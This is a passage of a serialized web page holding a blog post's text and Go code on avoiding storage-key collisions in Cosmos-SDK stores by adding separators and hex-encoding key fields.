\"|\"\n",{"type":24,"tag":90,"props":87172,"children":87173},{"class":92,"line":239},[87174],{"type":24,"tag":90,"props":87175,"children":87176},{"style":114},[87177],{"type":29,"value":1686},{"type":24,"tag":90,"props":87179,"children":87180},{"class":92,"line":248},[87181],{"type":24,"tag":90,"props":87182,"children":87183},{"emptyLinePlaceholder":16},[87184],{"type":29,"value":245},{"type":24,"tag":90,"props":87186,"children":87187},{"class":92,"line":258},[87188,87192,87196,87200,87204,87208],{"type":24,"tag":90,"props":87189,"children":87190},{"style":136},[87191],{"type":29,"value":87036},{"type":24,"tag":90,"props":87193,"children":87194},{"style":120},[87195],{"type":29,"value":78246},{"type":24,"tag":90,"props":87197,"children":87198},{"style":136},[87199],{"type":29,"value":84064},{"type":24,"tag":90,"props":87201,"children":87202},{"style":114},[87203],{"type":29,"value":226},{"type":24,"tag":90,"props":87205,"children":87206},{"style":108},[87207],{"type":29,"value":87053},{"type":24,"tag":90,"props":87209,"children":87210},{"style":114},[87211],{"type":29,"value":680},{"type":24,"tag":90,"props":87213,"children":87214},{"class":92,"line":272},[87215,87220],{"type":24,"tag":90,"props":87216,"children":87217},{"style":1085},[87218],{"type":29,"value":87219}," \"%d%s%s%s%s\"",{"type":24,"tag":90,"props":87221,"children":87222},{"style":114},[87223],{"type":29,"value":748},{"type":24,"tag":90,"props":87225,"children":87226},{"class":92,"line":281},[87227,87231],{"type":24,"tag":90,"props":87228,"children":87229},{"style":136},[87230],{"type":29,"value":87077},{"type":24,"tag":90,"props":87232,"children":87233},{"style":114},[87234],{"type":29,"value":748},{"type":24,"tag":90,"props":87236,"children":87237},{"class":92,"line":384},[87238,87242],{"type":24,"tag":90,"props":87239,"children":87240},{"style":136},[87241],{"type":29,"value":87161},{"type":24,"tag":90,"props":87243,"children":87244},{"style":114},[87245],{"type":29,"value":748},{"type":24,"tag":90,"props":87247,"children":87248},{"class":92,"line":420},[87249,87253],{"type":24,"tag":90,"props":87250,"children":87251},{"style":136},[87252],{"type":29,"value":87089},{"type":24,"tag":90,"props":87254,"children":87255},{"style":114},[87256],{"type":29,"value":748},{"type":24,"tag":90,"props":87258,"children":87259},{"class":92,"line":428},[87260,87264],{"type":24,"tag":90,"props":87261,"children":87262},{"style":136},[87263],{"type":29,"value":87161},{"type":24,"tag":90,"props":87265,"children":87266},{"style":114},[87267],{"type":29,"value":748},{"type":24,"tag":90,"props":87269,"children":87270},{"class":92,"line":437},[87271,87275],{"type":24,"tag":90,"props":87272,"children":87273},{"style":136},[87274],{"type":29,"value":87101},{"type":24,"tag":90,"props":87276,"children":87277},{"style":114},[87278],{"type":29,"value":748},{"type":24,"tag":90,"props":87280,"children":87281},{"class":92,"line":574},[87282],{"type":24,"tag":90,"props":87283,"children":87284},{"style":114},[87285],{"type":29,"value":1686},{"type":24,"tag":25,"props":87287,"children":87288},{},[87289],{"type":29,"value":87290},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":24,"tag":25,"props":87292,"children":87293},{},[87294,87296,87302,87303,87309],{"type":29,"value":87295},"Sadly, it doesn't. Since the ",{"type":24,"tag":32,"props":87297,"children":87299},{"className":87298},[],[87300],{"type":29,"value":87301},"username",{"type":29,"value":13360},{"type":24,"tag":32,"props":87304,"children":87306},{"className":87305},[],[87307],{"type":29,"value":87308},"vaultName",{"type":29,"value":87310}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":24,"tag":80,"props":87312,"children":87314},{"code":87313},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[87315],{"type":24,"tag":32,"props":87316,"children":87317},{"__ignoreMap":7},[87318],{"type":29,"value":87313},{"type":24,"tag":25,"props":87320,"children":87321},{},[87322],{"type":29,"value":87323},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":24,"tag":80,"props":87325,"children":87327},{"code":87326,"language":77994,"meta":7,"className":77995,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[87328],{"type":24,"tag":32,"props":87329,"children":87330},{"__ignoreMap":7},[87331,87342,87357,87364,87371,87378,87399,87415,87453,87460,87497,87504,87524,87539,87575,87582,87617,87624,87651,87662,87673,87684,87696,87707,87715],{"type":24,"tag":90,"props":87332,"children":87333},{"class":92,"line":93},[87334,87338],{"type":24,"tag":90,"props":87335,"children":87336},{"style":97},[87337],{"type":29,"value":508},{"type":24,"tag":90,"props":87339,"children":87340},{"style":114},[87341],{"type":29,"value":80396},{"type":24,"tag":90,"props":87343,"children":87344},{"class":92,"line":200},[87345,87349,87353],{"type":24,"tag":90,"props":87346,"children":87347},{"style":136},[87348],{"type":29,"value":87161},{"type":24,"tag":90,"props":87350,"children":87351},{"style":120},[87352],{"type":29,"value":216},{"type":24,"tag":90,"props":87354,"children":87355},{"style":1085},[87356],{"type":29,"value":87170},{"type":24,"tag":90,"props":87358,"children":87359},{"class":92,"line":239},[87360],{"type":24,"tag":90,"props":87361,"children":87362},{"style":114},[87363],{"type":29,"value":1686},{"type":24,"tag":90,"props":87365,"children":87366},{"class":92,"line":248},[87367],{"type":24,"tag":90,"props":87368,"children":87369},{"emptyLinePlaceholder":16},[87370],{"type":29,"value":245},{"type":24,"tag":90,"props":87372,"children":87373},{"class":92,"line":258},[87374],{"type":24,"tag":90,"props":87375,"children":87376},{"emptyLinePlaceholder":16},[87377],{"type":29,"value":245},{"type":24,"tag":90,"props":87379,"children":87380},{"class":92,"line":272},[87381,87386,87390,87395],{"type":24,"tag":90,"props":87382,"children":87383},{"style":136},[87384],{"type":29,"value":87385},"usernameEncoded",{"type":24,"tag":90,"props":87387,"children":87388},{"style":120},[87389],{"type":29,"value":78246},{"type":24,"tag":90,"props":87391,"children":87392},{"style":108},[87393],{"type":29,"value":87394}," make",{"type":24,"tag":90,"props":87396,"children":87397},{"style":114},[87398],{"type":29,"value":680},{"type":24,"tag":90,"props":87400,"children":87401},{"class":92,"line":281},[87402,87407,87411],{"type":24,"tag":90,"props":87403,"children":87404},{"style":114},[87405],{"type":29,"value":87406}," []",{"type":24,"tag":90,"props":87408,"children":87409},{"style":146},[87410],{"type":29,"value":86595},{"type":24,"tag":90,"props":87412,"children":87413},{"style":114},[87414],{"type":29,"value":748},{"type":24,"tag":90,"props":87416,"children":87417},{"class":92,"line":384},[87418,87423,87427,87432,87436,87440,87444,87448],{"type":24,"tag":90,"props":87419,"children":87420},{"style":136},[87421],{"type":29,"value":87422}," hex",{"type":24,"tag":90,"props":87424,"children":87425},{"style":114},[87426],{"type":29,"value":226},{"type":24,"tag":90,"props":87428,"children":87429},{"style":108},[87430],{"type":29,"value":87431},"EncodedLen",{"type":24,"tag":90,"props":87433,"children":87434},{"style":114},[87435],{"type":29,"value":117},{"type":24,"tag":90,"props":87437,"children":87438},{"style":108},[87439],{"type":29,"value":11513},{"type":24,"tag":90,"props":87441,"children":87442},{"style":114},[87443],{"type":29,"value":117},{"type":24,"tag":90,"props":87445,"children":87446},{"style":136},[87447],{"type":29,"value":87301},{"type":24,"tag":90,"props":87449,"children":87450},{"style":114},[87451],{"type":29,"value":87452},")),\n",{"type":24,"tag":90,"props":87454,"children":87455},{"class":92,"line":420},[87456],{"type":24,"tag":90,"props":87457,"children":87458},{"style":114},[87459],{"type":29,"value":1686},{"type":24,"tag":90,"props":87461,"children":87462},{"class":92,"line":428},[87463,87468,87472,87477,87481,87485,87489,87493],{"type":24,"tag":90,"props":87464,"children":87465},{"style":136},[87466],{"type":29,"value":87467},"hex",{"type":24,"tag":90,"props":87469,"children":87470},{"style":114},[87471],{"type":29,"value":226},{"type":24,"tag":90,"props":87473,"children":87474},{"style":108},[87475],{"type":29,"value":87476},"Encode",{"type":24,"tag":90,"props":87478,"children":87479},{"style":114},[87480],{"type":29,"value":117},{"type":24,"tag":90,"props":87482,"children":87483},{"style":136},[87484],{"type":29,"value":87385},{"type":24,"tag":90,"props":87486,"children":87487},{"style":114},[87488],{"type":29,"value":133},{"type":24,"tag":90,"props":87490,"children":87491},{"style":136},[87492],{"type":29,"value":87301},{"type":24,"tag":90,"props":87494,"children":87495},{"style":114},[87496],{"type":29,"value":1686},{"type":24,"tag":90,"props":87498,"children":87499},{"class":92,"line":437},[87500],{"type":24,"tag":90,"props":87501,"children":87502},{"emptyLinePlaceholder":16},[87503],{"type":29,"value":245},{"type":24,"tag":90,"props":87505,"children":87506},{"class":92,"line":574},[87507,87512,87516,87520],{"type":24,"tag":90,"props":87508,"children":87509},{"style":136},[87510],{"type":29,"value":87511},"positionNameEncoded",{"type":24,"tag":90,"props":87513,"children":87514},{"style":120},[87515],{"type":29,"value":78246},{"type":24,"tag":90,"props":87517,"children":87518},{"style":108},[87519],{"type":29,"value":87394},{"type":24,"tag":90,"props":87521,"children":87522},{"style":114},[87523],{"type":29,"value":680},{"type":24,"tag":90,"props":87525,"children":87526},{"class":92,"line":606},[87527,87531,87535],{"type":24,"tag":90,"props":87528,"children":87529},{"style":114},[87530],{"type":29,"value":87406},{"type":24,"tag":90,"props":87532,"children":87533},{"style":146},[87534],{"type":29,"value":86595},{"type":24,"tag":90,"props":87536,"children":87537},{"style":114},[87538],{"type":29,"value":748},{"type":24,"tag":90,"props":87540,"children":87541},{"class":92,"line":615},[87542,87546,87550,87554,87558,87562,87566,87571],{"type":24,"tag":90,"props":87543,"children":87544},{"style":136},[87545],{"type":29,"value":87422},{"type":24,"tag":90,"props":87547,"children":87548},{"style":114},[87549],{"type":29,"value":226},{"type":24,"tag":90,"props":87551,"children":87552},{"style":108},[87553],{"type":29,"value":87431},{"type":24,"tag":90,"props":87555,"children":87556},{"style":114},[87557],{"type":29,"value":117},{"type":24,"tag":90,"props":87559,"children":87560},{"style":108},[87561],{"type":29,"value":11513},{"type":24,"tag":90,"props":87563,"children":87564},{"style":114},[87565],{"type":29,"value":117},{"type":24,"tag":90,"props":87567,"children":87568},{"style":136},[87569],{"type":29,"value":87570},"positionName",{"type":24,"tag":90,"props":87572,"children":87573},{"style":114},[87574],{"type":29,"value":87452},{"type":24,"tag":90,"props":87576,"children":87577},{"class":92,"line":623},[87578],{"type":24,"tag":90,"props":87579,"children":87580},{"style":114},[87581],{"type":29,"value":1686},{"type":24,"tag":90,"props":87583,"children":87584},{"class":92,"line":632},[87585,87589,87593,87597,87601,87605,87609,87613],{"type":24,"tag":90,"props":87586,"children":87587},{"style":136},[87588],{"type":29,"value":87467},{"type":24,"tag":90,"props":87590,"children":87591},{"style":114},[87592],{"type":29,"value":226},{"type":24,"tag":90,"props":87594,"children":87595},{"style":108},[87596],{"type":29,"value":87476},{"type":24,"tag":90,"props":87598,"children":87599},{"style":114},[87600],{"type":29,"value":117},{"type":24,"tag":90,"props":87602,"children":87603},{"style":136},[87604],{"type":29,"value":87511},{"type":24,"tag":90,"props":87606,"children":87607},{"style":114},[87608],{"type":29,"value":133},{"type":24,"tag":90,"props":87610,"children":87611},{"style":136},[87612],{"type":29,"value":87570},{"type":24,"tag":90,"props":87614,"children":87615},{"style":114},[87616],{"type":29,"value":1686},{"type":24,"tag":90,"props":87618,"children":87619},{"class":92,"line":669},[87620],{"type":24,"tag":90,"props":87621,"children":87622},{"emptyLinePlaceholder":16},[87623],{"type":29,"value":245},{"type":24,"tag":90,"props":87625,"children":87626},{"class":92,"line":683},[87627,87631,87635,87639,87643,87647],{"type":24,"tag":90,"props":87628,"children":87629},{"style":136},[87630],{"type":29,"value":87036},{"type":24,"tag":90,"props":87632,"children":87633},{"style":120},[87634],{"type":29,"value":78246},{"type":24,"tag":90,"props":87636,"children":87637},{"style":136},[87638],{"type":29,"value":84064},{"type":24,"tag":90,"props":87640,"children":87641},{"style":114},[87642],{"type":29,"value":226},{"type":24,"tag":90,"props":87644,"children":87645},{"style":108},[87646],{"type":29,"value":87053},{"type":24,"tag":90,"props":87648,"children":87649},{"style":114},[87650],{"type":29,"value":680},{"type":24,"tag":90,"props":87652,"children":87653},{"class":92,"line":737},[87654,87658],{"type":24,"tag":90,"props":87655,"children":87656},{"style":1085},[87657],{"type":29,"value":87219},{"type":24,"tag":90,"props":87659,"children":87660},{"style":114},[87661],{"type":29,"value":748},{"type":24,"tag":90,"props":87663,"children":87664},{"class":92,"line":751},[87665,87669],{"type":24,"tag":90,"props":87666,"children":87667},{"style":136},[87668],{"type":29,"value":87077},{"type":24,"tag":90,"props":87670,"children":87671},{"style":114},[87672],{"type":29,"value":748},{"type":24,"tag":90,"props":87674,"children":87675},{"class":92,"line":782},[87676,87680],{"type":24,"tag":90,"props":87677,"children":87678},{"style":136},[87679],{"type":29,"value":87161},{"type":24,"tag":90,"props":87681,"children":87682},{"style":114},[87683],{"type":29,"value":748},{"type":24,"tag":90,"props":87685,"children":87686},{"class":92,"line":791},[87687,87692],{"type":24,"tag":90,"props":87688,"children":87689},{"style":136},[87690],{"type":29,"value":87691}," usernameEncoded",{"type":24,"tag":90,"props":87693,"children":87694},{"style":114},[87695],{"type":29,"value":748},{"type":24,"tag":90,"props":87697,"children":87698},{"class":92,"line":799},[87699,87703],{"type":24,"tag":90,"props":87700,"children":87701},{"style":136},[87702],{"type":29,"value":87161},{"type":24,"tag":90,"props":87704,"children":87705},{"style":114},[87706],{"type":29,"value":748},{"type":24,"tag":90,"props":87708,"children":87709},{"class":92,"line":807},[87710],{"type":24,"tag":90,"props":87711,"children":87712},{"style":136},[87713],{"type":29,"value":87714}," positionNameEncoded\n",{"type":24,"tag":90,"props":87716,"children":87717},{"class":92,"line":821},[87718],{"type":24,"tag":90,"props":87719,"children":87720},{"style":114},[87721],{"type":29,"value":1686},{"type":24,"tag":25,"props":87723,"children":87724},{},[87725,87727,87732],{"type":29,"value":87726},"We did it. We finally eliminated all potential ",{"type":24,"tag":32,"props":87728,"children":87730},{"className":87729},[],[87731],{"type":29,"value":87036},{"type":29,"value":87733}," collisions.",{"type":24,"tag":25,"props":87735,"children":87736},{},[87737],{"type":29,"value":87738},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":24,"tag":25,"props":87740,"children":87741},{},[87742,87744,87750,87752,87757,87759,87764,87766,87771,87773,87779],{"type":29,"value":87743},"In the Cosmos framework, it is common for each ",{"type":24,"tag":32,"props":87745,"children":87747},{"className":87746},[],[87748],{"type":29,"value":87749},"Module",{"type":29,"value":87751}," to own a few ",{"type":24,"tag":32,"props":87753,"children":87755},{"className":87754},[],[87756],{"type":29,"value":86807},{"type":29,"value":87758}," and have individual ",{"type":24,"tag":32,"props":87760,"children":87762},{"className":87761},[],[87763],{"type":29,"value":81775},{"type":29,"value":87765},"s managing access to storages. It's also important to note that each ",{"type":24,"tag":32,"props":87767,"children":87769},{"className":87768},[],[87770],{"type":29,"value":86807},{"type":29,"value":87772}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":24,"tag":32,"props":87774,"children":87776},{"className":87775},[],[87777],{"type":29,"value":87778},"Modules",{"type":29,"value":226},{"type":24,"tag":25,"props":87781,"children":87782},{},[87783,87785,87790],{"type":29,"value":87784},"With that being said, what if we have to maintain more than one structure within the same ",{"type":24,"tag":32,"props":87786,"children":87788},{"className":87787},[],[87789],{"type":29,"value":86807},{"type":29,"value":714},{"type":24,"tag":25,"props":87792,"children":87793},{},[87794,87796,87802,87804,87809],{"type":29,"value":87795},"To demonstrate this scenario, we introduce the ",{"type":24,"tag":32,"props":87797,"children":87799},{"className":87798},[],[87800],{"type":29,"value":87801},"NameToAddressMap",{"type":29,"value":87803}," structure, which will be stored in the same ",{"type":24,"tag":32,"props":87805,"children":87807},{"className":87806},[],[87808],{"type":29,"value":86807},{"type":29,"value":87810}," we previously used.",{"type":24,"tag":80,"props":87812,"children":87814},{"code":87813,"language":77994,"meta":7,"className":77995,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[87815],{"type":24,"tag":32,"props":87816,"children":87817},{"__ignoreMap":7},[87818,87833,87848,87855,87870,87889,87904,87911,87926,87981,87988,88004,88024,88039,88046,88062],{"type":24,"tag":90,"props":87819,"children":87820},{"class":92,"line":93},[87821,87825,87829],{"type":24,"tag":90,"props":87822,"children":87823},{"style":97},[87824],{"type":29,"value":34570},{"type":24,"tag":90,"props":87826,"children":87827},{"style":146},[87828],{"type":29,"value":86853},{"type":24,"tag":90,"props":87830,"children":87831},{"style":146},[87832],{"type":29,"value":78032},{"type":24,"tag":90,"props":87834,"children":87835},{"class":92,"line":200},[87836,87840,87844],{"type":24,"tag":90,"props":87837,"children":87838},{"style":97},[87839],{"type":29,"value":34570},{"type":24,"tag":90,"props":87841,"children":87842},{"style":146},[87843],{"type":29,"value":86869},{"type":24,"tag":90,"props":87845,"children":87846},{"style":146},[87847],{"type":29,"value":86874},{"type":24,"tag":90,"props":87849,"children":87850},{"class":92,"line":239},[87851],{"type":24,"tag":90,"props":87852,"children":87853},{"emptyLinePlaceholder":16},[87854],{"type":29,"value":245},{"type":24,"tag":90,"props":87856,"children":87857},{"class":92,"line":248},[87858,87862,87866],{"type":24,"tag":90,"props":87859,"children":87860},{"style":97},[87861],{"type":29,"value":34570},{"type":24,"tag":90,"props":87863,"children":87864},{"style":146},[87865],{"type":29,"value":86886},{"type":24,"tag":90,"props":87867,"children":87868},{"style":146},[87869],{"type":29,"value":86874},{"type":24,"tag":90,"props":87871,"children":87872},{"class":92,"line":258},[87873,87877,87881,87885],{"type":24,"tag":90,"props":87874,"children":87875},{"style":97},[87876],{"type":29,"value":34570},{"type":24,"tag":90,"props":87878,"children":87879},{"style":146},[87880],{"type":29,"value":9806},{"type":24,"tag":90,"props":87882,"children":87883},{"style":97},[87884],{"type":29,"value":22947},{"type":24,"tag":90,"props":87886,"children":87887},{"style":114},[87888],{"type":29,"value":269},{"type":24,"tag":90,"props":87890,"children":87891},{"class":92,"line":272},[87892,87896,87900],{"type":24,"tag":90,"props":87893,"children":87894},{"style":136},[87895],{"type":29,"value":45050},{"type":24,"tag":90,"props":87897,"children":87898},{"style":114},[87899],{"type":29,"value":78057},{"type":24,"tag":90,"props":87901,"children":87902},{"style":146},[87903],{"type":29,"value":86058},{"type":24,"tag":90,"props":87905,"children":87906},{"class":92,"line":281},[87907],{"type":24,"tag":90,"props":87908,"children":87909},{"style":114},[87910],{"type":29,"value":827},{"type":24,"tag":90,"props":87912,"children":87913},{"class":92,"line":384},[87914,87918,87922],{"type":24,"tag":90,"props":87915,"children":87916},{"style":97},[87917],{"type":29,"value":34570},{"type":24,"tag":90,"props":87919,"children":87920},{"style":146},[87921],{"type":29,"value":86943},{"type":24,"tag":90,"props":87923,"children":87924},{"style":120},[87925],{"type":29,"value":86948},{"type":24,"tag":90,"props":87927,"children":87928},{"class":92,"line":420},[87929,87933,87937,87941,87945,87949,87953,87957,87961,87965,87969,87973,87977],{"type":24,"tag":90,"props":87930,"children":87931},{"style":97},[87932],{"type":29,"value":86956},{"type":24,"tag":90,"props":87934,"children":87935},{"style":114},[87936],{"type":29,"value":719},{"type":24,"tag":90,"props":87938,"children":87939},{"style":146},[87940],{"type":29,"value":86965},{"type":24,"tag":90,"props":87942,"children":87943},{"style":114},[87944],{"type":29,"value":1914},{"type":24,"tag":90,"props":87946,"children":87947},{"style":97},[87948],{"type":29,"value":68929},{"type":24,"tag":90,"props":87950,"children":87951},{"style":114},[87952],{"type":29,"value":719},{"type":24,"tag":90,"props":87954,"children":87955},{"style":146},[87956],{"type":29,"value":86982},{"type":24,"tag":90,"props":87958,"children":87959},{"style":114},[87960],{"type":29,"value":1914},{"type":24,"tag":90,"props":87962,"children":87963},{"style":97},[87964],{"type":29,"value":68929},{"type":24,"tag":90,"props":87966,"children":87967},{"style":114},[87968],{"type":29,"value":719},{"type":24,"tag":90,"props":87970,"children":87971},{"style":146},[87972],{"type":29,"value":86999},{"type":24,"tag":90,"props":87974,"children":87975},{"style":114},[87976],{"type":29,"value":1914},{"type":24,"tag":90,"props":87978,"children":87979},{"style":146},[87980],{"type":29,"value":87008},{"type":24,"tag":90,"props":87982,"children":87983},{"class":92,"line":428},[87984],{"type":24,"tag":90,"props":87985,"children":87986},{"emptyLinePlaceholder":16},[87987],{"type":29,"value":245},{"type":24,"tag":90,"props":87989,"children":87990},{"class":92,"line":437},[87991,87995,88000],{"type":24,"tag":90,"props":87992,"children":87993},{"style":97},[87994],{"type":29,"value":34570},{"type":24,"tag":90,"props":87996,"children":87997},{"style":146},[87998],{"type":29,"value":87999}," AddressName",{"type":24,"tag":90,"props":88001,"children":88002},{"style":146},[88003],{"type":29,"value":86874},{"type":24,"tag":90,"props":88005,"children":88006},{"class":92,"line":574},[88007,88011,88016,88020],{"type":24,"tag":90,"props":88008,"children":88009},{"style":97},[88010],{"type":29,"value":34570},{"type":24,"tag":90,"props":88012,"children":88013},{"style":146},[88014],{"type":29,"value":88015}," Address",{"type":24,"tag":90,"props":88017,"children":88018},{"style":97},[88019],{"type":29,"value":22947},{"type":24,"tag":90,"props":88021,"children":88022},{"style":114},[88023],{"type":29,"value":269},{"type":24,"tag":90,"props":88025,"children":88026},{"class":92,"line":606},[88027,88031,88035],{"type":24,"tag":90,"props":88028,"children":88029},{"style":136},[88030],{"type":29,"value":1604},{"type":24,"tag":90,"props":88032,"children":88033},{"style":114},[88034],{"type":29,"value":78057},{"type":24,"tag":90,"props":88036,"children":88037},{"style":146},[88038],{"type":29,"value":86058},{"type":24,"tag":90,"props":88040,"children":88041},{"class":92,"line":615},[88042],{"type":24,"tag":90,"props":88043,"children":88044},{"style":114},[88045],{"type":29,"value":827},{"type":24,"tag":90,"props":88047,"children":88048},{"class":92,"line":623},[88049,88053,88058],{"type":24,"tag":90,"props":88050,"children":88051},{"style":97},[88052],{"type":29,"value":34570},{"type":24,"tag":90,"props":88054,"children":88055},{"style":146},[88056],{"type":29,"value":88057}," AddressMap",{"type":24,"tag":90,"props":88059,"children":88060},{"style":120},[88061],{"type":29,"value":86948},{"type":24,"tag":90,"props":88063,"children":88064},{"class":92,"line":632},[88065,88069,88073,88077,88081,88085,88089,88093,88097,88101,88105,88110,88114],{"type":24,"tag":90,"props":88066,"children":88067},{"style":97},[88068],{"type":29,"value":86956},{"type":24,"tag":90,"props":88070,"children":88071},{"style":114},[88072],{"type":29,"value":719},{"type":24,"tag":90,"props":88074,"children":88075},{"style":146},[88076],{"type":29,"value":86965},{"type":24,"tag":90,"props":88078,"children":88079},{"style":114},[88080],{"type":29,"value":1914},{"type":24,"tag":90,"props":88082,"children":88083},{"style":97},[88084],{"type":29,"value":68929},{"type":24,"tag":90,"props":88086,"children":88087},{"style":114},[88088],{"type":29,"value":719},{"type":24,"tag":90,"props":88090,"children":88091},{"style":146},[88092],{"type":29,"value":86982},{"type":24,"tag":90,"props":88094,"children":88095},{"style":114},[88096],{"type":29,"value":1914},{"type":24,"tag":90,"props":88098,"children":88099},{"style":97},[88100],{"type":29,"value":68929},{"type":24,"tag":90,"props":88102,"children":88103},{"style":114},[88104],{"type":29,"value":719},{"type":24,"tag":90,"props":88106,"children":88107},{"style":146},[88108],{"type":29,"value":88109},"AddressName",{"type":24,"tag":90,"props":88111,"children":88112},{"style":114},[88113],{"type":29,"value":1914},{"type":24,"tag":90,"props":88115,"children":88116},{"style":146},[88117],{"type":29,"value":88118},"Address\n",{"type":24,"tag":25,"props":88120,"children":88121},{},[88122],{"type":29,"value":88123},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":24,"tag":80,"props":88125,"children":88127},{"code":88126,"language":77994,"meta":7,"className":77995,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[88128],{"type":24,"tag":32,"props":88129,"children":88130},{"__ignoreMap":7},[88131,88142,88157,88164,88171,88178,88194,88209,88236,88259,88278,88294,88330,88337,88372,88379,88399,88414,88449,88456,88491,88498,88526,88538,88550,88562,88574,88585,88597,88604,88611,88618,88625,88641,88656,88680,88703,88722,88737,88772,88779,88814,88821,88841,88856,88891,88898,88934,88941,88968,88979,88990,89001,89012,89023,89035,89042],{"type":24,"tag":90,"props":88132,"children":88133},{"class":92,"line":93},[88134,88138],{"type":24,"tag":90,"props":88135,"children":88136},{"style":97},[88137],{"type":29,"value":508},{"type":24,"tag":90,"props":88139,"children":88140},{"style":114},[88141],{"type":29,"value":80396},{"type":24,"tag":90,"props":88143,"children":88144},{"class":92,"line":200},[88145,88149,88153],{"type":24,"tag":90,"props":88146,"children":88147},{"style":136},[88148],{"type":29,"value":87161},{"type":24,"tag":90,"props":88150,"children":88151},{"style":120},[88152],{"type":29,"value":216},{"type":24,"tag":90,"props":88154,"children":88155},{"style":1085},[88156],{"type":29,"value":87170},{"type":24,"tag":90,"props":88158,"children":88159},{"class":92,"line":239},[88160],{"type":24,"tag":90,"props":88161,"children":88162},{"style":114},[88163],{"type":29,"value":1686},{"type":24,"tag":90,"props":88165,"children":88166},{"class":92,"line":248},[88167],{"type":24,"tag":90,"props":88168,"children":88169},{"emptyLinePlaceholder":16},[88170],{"type":29,"value":245},{"type":24,"tag":90,"props":88172,"children":88173},{"class":92,"line":258},[88174],{"type":24,"tag":90,"props":88175,"children":88176},{"emptyLinePlaceholder":16},[88177],{"type":29,"value":245},{"type":24,"tag":90,"props":88179,"children":88180},{"class":92,"line":272},[88181,88185,88190],{"type":24,"tag":90,"props":88182,"children":88183},{"style":97},[88184],{"type":29,"value":78130},{"type":24,"tag":90,"props":88186,"children":88187},{"style":108},[88188],{"type":29,"value":88189}," PositionMapKey",{"type":24,"tag":90,"props":88191,"children":88192},{"style":114},[88193],{"type":29,"value":680},{"type":24,"tag":90,"props":88195,"children":88196},{"class":92,"line":281},[88197,88201,88205],{"type":24,"tag":90,"props":88198,"children":88199},{"style":136},[88200],{"type":29,"value":87077},{"type":24,"tag":90,"props":88202,"children":88203},{"style":146},[88204],{"type":29,"value":78251},{"type":24,"tag":90,"props":88206,"children":88207},{"style":114},[88208],{"type":29,"value":748},{"type":24,"tag":90,"props":88210,"children":88211},{"class":92,"line":384},[88212,88216,88220,88224,88228,88232],{"type":24,"tag":90,"props":88213,"children":88214},{"style":136},[88215],{"type":29,"value":87089},{"type":24,"tag":90,"props":88217,"children":88218},{"style":114},[88219],{"type":29,"value":133},{"type":24,"tag":90,"props":88221,"children":88222},{"style":136},[88223],{"type":29,"value":87570},{"type":24,"tag":90,"props":88225,"children":88226},{"style":114},[88227],{"type":29,"value":78057},{"type":24,"tag":90,"props":88229,"children":88230},{"style":146},[88231],{"type":29,"value":86595},{"type":24,"tag":90,"props":88233,"children":88234},{"style":114},[88235],{"type":29,"value":748},{"type":24,"tag":90,"props":88237,"children":88238},{"class":92,"line":420},[88239,88243,88247,88251,88255],{"type":24,"tag":90,"props":88240,"children":88241},{"style":114},[88242],{"type":29,"value":78212},{"type":24,"tag":90,"props":88244,"children":88245},{"style":136},[88246],{"type":29,"value":73984},{"type":24,"tag":90,"props":88248,"children":88249},{"style":114},[88250],{"type":29,"value":78057},{"type":24,"tag":90,"props":88252,"children":88253},{"style":146},[88254],{"type":29,"value":86595},{"type":24,"tag":90,"props":88256,"children":88257},{"style":114},[88258],{"type":29,"value":1297},{"type":24,"tag":90,"props":88260,"children":88261},{"class":92,"line":428},[88262,88266,88270,88274],{"type":24,"tag":90,"props":88263,"children":88264},{"style":136},[88265],{"type":29,"value":87691},{"type":24,"tag":90,"props":88267,"children":88268},{"style":120},[88269],{"type":29,"value":78246},{"type":24,"tag":90,"props":88271,"children":88272},{"style":108},[88273],{"type":29,"value":87394},{"type":24,"tag":90,"props":88275,"children":88276},{"style":114},[88277],{"type":29,"value":680},{"type":24,"tag":90,"props":88279,"children":88280},{"class":92,"line":437},[88281,88286,88290],{"type":24,"tag":90,"props":88282,"children":88283},{"style":114},[88284],{"type":29,"value":88285}," 